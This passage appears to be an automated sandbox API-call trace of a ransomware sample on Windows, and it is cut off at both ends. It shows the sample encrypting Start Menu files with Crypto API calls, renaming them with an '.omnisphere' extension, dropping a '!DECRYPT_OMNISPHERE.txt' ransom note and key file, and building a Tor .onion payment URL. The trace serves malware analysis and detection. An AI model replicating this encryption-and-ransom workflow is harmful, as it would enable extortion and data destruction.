ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x341e93e1, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0139.486] FindClose (in: hFindFile=0x16394e8 | out: hFindFile=0x16394e8) returned 1 [0139.486] GetProcessHeap () returned 0x1600000 [0139.486] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16415f0 | out: hHeap=0x1600000) returned 1 [0139.486] GetProcessHeap () returned 0x1600000 [0139.486] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172ad40 | out: hHeap=0x1600000) returned 1 [0139.486] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xccacd784, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccacd784, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="ACCESS~1")) returned 1 [0139.486] GetProcessHeap () returned 0x1600000 [0139.486] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb2) returned 0x172a8c0 [0139.486] PathCombineW (in: pszDest=0x172a8c0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs", pszFile="Accessories" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" [0139.486] GetProcessHeap () returned 0x1600000 [0139.486] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb6) returned 0x172a800 [0139.486] PathCombineW (in: pszDest=0x172a800, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*" [0139.486] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*", lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xccacd784, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccacd784, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbf, cFileName=".", cAlternateFileName="")) returned 0x1639b28 [0139.487] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xccacd784, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccacd784, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbf, cFileName="..", cAlternateFileName="")) returned 1 [0139.487] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x210f9687, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210f9687, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xccacd784, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1c0, dwReserved0=0x0, dwReserved1=0xbf, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0139.487] GetProcessHeap () returned 0x1600000 [0139.487] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xca) returned 0x1625a28 [0139.487] PathCombineW (in: pszDest=0x1625a28, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories", pszFile="Desktop.ini" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini" [0139.487] StrStrW (lpFirst=".omnisphere", lpSrch=".ini") returned 0x0 [0139.487] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0139.488] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x3e0cdd4 | out: lpFileSize=0x3e0cdd4*=448) returned 1 [0139.488] GetTickCount () returned 0x1162bda [0139.488] GetTickCount () returned 0x1162bda [0139.488] GetTickCount () returned 0x1162bda [0139.488] GetTickCount () returned 0x1162bda [0139.488] GetTickCount () returned 0x1162bda [0139.488] GetTickCount () returned 0x1162bda [0139.488] GetTickCount () returned 0x1162bda [0139.488] GetTickCount () returned 0x1162bda [0139.488] GetTickCount () returned 0x1162bda [0139.488] GetTickCount () returned 0x1162bda [0139.488] GetTickCount () returned 0x1162bda [0139.488] GetTickCount () returned 0x1162bda [0139.488] GetTickCount () returned 0x1162bda [0139.488] GetTickCount () returned 0x1162bda [0139.488] GetTickCount () returned 0x1162bda [0139.488] GetTickCount () returned 0x1162bda [0139.488] GetTickCount () returned 0x1162bda [0139.488] GetTickCount () returned 0x1162bda [0139.488] GetTickCount () returned 0x1162bda [0139.489] GetTickCount () returned 0x1162bda [0139.489] GetTickCount () returned 0x1162bda [0139.489] GetTickCount () returned 0x1162bda [0139.489] GetTickCount () returned 0x1162bda [0139.489] GetTickCount () returned 0x1162bda [0139.489] GetTickCount () returned 0x1162bda [0139.489] GetTickCount () returned 0x1162bda [0139.489] GetTickCount () returned 0x1162bda [0139.489] GetTickCount () returned 0x1162bda [0139.489] GetTickCount () returned 0x1162bda [0139.489] GetTickCount () returned 0x1162bda [0139.489] GetTickCount () returned 0x1162bda [0139.489] GetTickCount () returned 0x1162bda [0139.489] CryptAcquireContextW (in: phProv=0x3e0c85c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0c85c*=0x1668c58) returned 1 [0139.491] CryptImportKey (in: hProv=0x1668c58, pbData=0x3e0c7c4, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c868 | out: phKey=0x3e0c868*=0x1639b68) returned 1 [0139.491] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x75, dwBufLen=0x80 | out: pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x80) returned 1 [0139.492] CryptDestroyKey (hKey=0x1639b68) returned 1 [0139.492] CryptReleaseContext (hProv=0x1668c58, dwFlags=0x0) returned 1 [0139.492] CreateFileMappingW (hFile=0x3c0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c0, lpName=0x0) returned 0x388 [0139.492] MapViewOfFile (hFileMappingObject=0x388, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c0) returned 0x1480000 [0139.492] CryptAcquireContextW (in: phProv=0x3e0c84c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0c84c*=0x1668928) returned 1 [0139.493] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0c804, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c85c | out: phKey=0x3e0c85c*=0x1639628) returned 1 [0139.493] CryptSetKeyParam (hKey=0x1639628, dwParam=0x4, pbData=0x3e0c840*=0x2, dwFlags=0x0) returned 1 [0139.493] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0c848*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0c848*=0x10) returned 1 [0139.493] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0139.493] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0139.493] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0139.493] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0139.493] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0139.493] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0139.493] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0139.493] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0139.493] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0139.493] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0139.494] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0139.494] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0139.494] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0139.494] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0139.494] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0139.494] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0139.494] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0139.494] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0139.494] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0139.494] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0139.494] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0139.494] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0139.494] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0139.494] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0139.494] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0139.494] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0139.494] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0139.494] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0139.494] CryptDestroyKey (hKey=0x1639628) returned 1 [0139.494] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0139.494] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x1c0, lpNewFilePointer=0x0, dwMoveMethod=0x3e0cdc8 | out: lpNewFilePointer=0x0) returned 1 [0139.494] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cddc, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0cddc*=0x524, lpOverlapped=0x0) returned 1 [0139.496] GetProcessHeap () returned 0x1600000 [0139.496] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2da) returned 0x1725908 [0139.496] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\desktop.ini"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\desktop.ini.omnisphere")) returned 1 [0139.880] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini.omnisphere.id" [0139.880] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\desktop.ini.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0139.985] WriteFile (in: hFile=0x3b4, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c864, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0c864*=0x524, lpOverlapped=0x0) returned 1 [0139.986] CloseHandle (hObject=0x3b4) returned 1 [0140.057] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0140.057] CloseHandle (hObject=0x388) returned 1 [0140.057] SetEndOfFile (hFile=0x3c0) returned 1 [0140.059] FlushFileBuffers (hFile=0x3c0) returned 1 [0140.061] CloseHandle (hObject=0x3c0) returned 1 [0140.062] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories") returned 1 [0140.062] GetProcessHeap () returned 0x1600000 [0140.062] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1725bf0 [0140.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0140.062] GetProcessHeap () returned 0x1600000 [0140.062] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fda78 [0140.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fda78, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0140.062] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0140.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0140.062] GetProcessHeap () returned 0x1600000 [0140.062] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1710120 [0140.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1710120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0140.062] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0140.062] GetProcessHeap () returned 0x1600000 [0140.062] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xe2) returned 0x16c0db0 [0140.062] PathCombineW (in: pszDest=0x16c0db0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\!DECRYPT_OMNISPHERE.txt" [0140.062] GetProcessHeap () returned 0x1600000 [0140.062] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x17182f0 [0140.063] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0140.064] WriteFile (in: hFile=0x3c0, lpBuffer=0x17182f0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0cdfc, lpOverlapped=0x0 | out: lpBuffer=0x17182f0*, lpNumberOfBytesWritten=0x3e0cdfc*=0x588, lpOverlapped=0x0) returned 1 [0140.065] CloseHandle (hObject=0x3c0) returned 1 [0140.066] GetProcessHeap () returned 0x1600000 [0140.066] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1725bf0 | out: hHeap=0x1600000) returned 1 [0140.066] GetProcessHeap () returned 0x1600000 [0140.066] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd8) returned 0x16a3d58 [0140.066] PathCombineW (in: pszDest=0x16a3d58, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\unique_decrypt.key" [0140.066] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0140.068] WriteFile (in: hFile=0x3c0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ce10, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ce10*=0x5a0, lpOverlapped=0x0) returned 1 [0140.069] CloseHandle (hObject=0x3c0) returned 1 [0140.070] GetProcessHeap () returned 0x1600000 [0140.070] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16a3d58 | out: hHeap=0x1600000) returned 1 [0140.070] GetProcessHeap () returned 0x1600000 [0140.070] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1625a28 | out: hHeap=0x1600000) returned 1 [0140.070] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccacd784, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xccacd784, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccacd784, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x52d, dwReserved0=0x0, dwReserved1=0xbf, cFileName="Internet Explorer.lnk", cAlternateFileName="INTERN~1.LNK")) returned 1 [0140.070] GetProcessHeap () returned 0x1600000 [0140.070] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xde) returned 0x172d648 [0140.070] PathCombineW (in: pszDest=0x172d648, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories", pszFile="Internet Explorer.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Internet Explorer.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Internet Explorer.lnk" [0140.070] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0140.070] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Internet Explorer.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\internet explorer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0140.071] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x3e0cdd4 | out: lpFileSize=0x3e0cdd4*=1325) returned 1 [0140.071] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x9, lpNewFilePointer=0x0, dwMoveMethod=0x3e0cdc8 | out: lpNewFilePointer=0x0) returned 1 [0140.071] ReadFile (in: hFile=0x3c0, lpBuffer=0x3e0c87c, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0cdc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesRead=0x3e0cdc4*=0x524, lpOverlapped=0x0) returned 1 [0140.073] CreateFileMappingW (hFile=0x3c0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x52d, lpName=0x0) returned 0x388 [0140.073] MapViewOfFile (hFileMappingObject=0x388, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0140.073] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0140.073] CloseHandle (hObject=0x388) returned 1 [0140.073] GetTickCount () returned 0x1162e1c [0140.073] GetTickCount () returned 0x1162e1c [0140.073] GetTickCount () returned 0x1162e1c [0140.073] GetTickCount () 